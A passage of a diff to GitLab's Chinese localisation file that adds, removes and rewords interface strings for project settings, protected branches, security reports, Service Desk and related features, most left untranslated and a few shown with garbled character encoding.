+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,8 +25269,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "åƒè€ƒä¾†æºï¼š"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "移除全部或特定指派人"
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "æµæ°´ç·šè¨ˆåŠƒ"
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr "æœå°‹é‡Œç¨‹ç¢‘"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr "é¸æ“‡æ™‚å€"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26802,9 +27471,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -26898,6 +27564,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,19 +27705,43 @@ msgstr ""
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Templates"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27150,6 +27843,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27204,7 +27900,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "設置密碼"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27216,6 +27912,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr ""
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "編輯狀態"
@@ -27237,6 +27936,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr ""
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr ""
@@ -27440,9 +28142,15 @@ msgstr[0] ""
msgid "Showing %{limit} of %{total_count} issues. "
msgstr ""
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr ""
@@ -27461,6 +28169,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr ""
@@ -27701,6 +28412,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28379,13 +29093,13 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28400,9 +29114,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28415,7 +29126,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28505,9 +29216,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28523,9 +29231,6 @@ msgstr ""
msgid "Submit feedback"
msgstr "æ交æ„見"
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr ""
@@ -28583,9 +29288,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29209,6 +29911,10 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29364,9 +30070,6 @@ msgstr[0] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29439,6 +30142,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29466,6 +30172,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29478,6 +30187,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29539,6 +30251,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29599,6 +30314,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29671,6 +30389,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29722,6 +30443,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr "é ç™¼å¸ƒéšŽæ®µæ¦‚述了åˆä½µè«‹æ±‚çš„åˆä½µåˆ°éƒ¨ç½²ä»£ç¢¼åˆ°ç”Ÿç”¢ç’°å¢ƒçš„總時間。當首次部署到生產環境後,數據將自動添加到此處。"
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29770,6 +30494,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29797,6 +30527,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr ""
@@ -29830,9 +30563,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "沒有å¯ä»¥é¡¯ç¤ºçš„è­°é¡Œ"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30076,6 +30806,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30214,7 +30947,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30298,6 +31031,9 @@ msgstr ""
msgid "This group"
msgstr ""
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30307,6 +31043,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30319,6 +31058,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30625,9 +31367,6 @@ msgstr ""
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30724,9 +31463,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31023,6 +31759,15 @@ msgstr ""
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31065,9 +31810,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31095,7 +31837,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
msgid "To personalize your GitLab experience, we'd like to know a bit more about you. We won't share this information with anyone."
@@ -31200,6 +31942,9 @@ msgstr ""
msgid "Toggle focus mode"
msgstr ""
+msgid "Toggle keyboard shortcuts help dialog"
+msgstr ""
+
msgid "Toggle navigation"
msgstr ""
@@ -31396,10 +32141,10 @@ msgstr ""
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr ""
-msgid "Trials|You won't get a free trial right now but you can always resume this process by clicking on your avatar and choosing 'Start a free trial'"
+msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
msgstr ""
-msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you are enjoying GitLab %{planName}. To continue using GitLab %{planName} after your trial ends, you will need to buy a subscription. You can also choose GitLab Premium if its features are sufficient for your needs."
+msgid "Trials|Your trial ends on %{boldStart}%{trialEndDate}%{boldEnd}. We hope you’re enjoying the features of GitLab %{planName}. To keep those features after your trial ends, you’ll need to buy a subscription. (You can also choose GitLab Premium if it meets your needs.)"
msgstr ""
msgid "Trial|Company name"
@@ -31534,9 +32279,6 @@ msgstr ""
msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
msgstr ""
-msgid "Turn on Service Desk"
-msgstr ""
-
msgid "Turn on usage ping"
msgstr ""
@@ -31591,6 +32333,12 @@ msgstr ""
msgid "URL"
msgstr ""
+msgid "URL cannot be blank"
+msgstr ""
+
+msgid "URL is invalid"
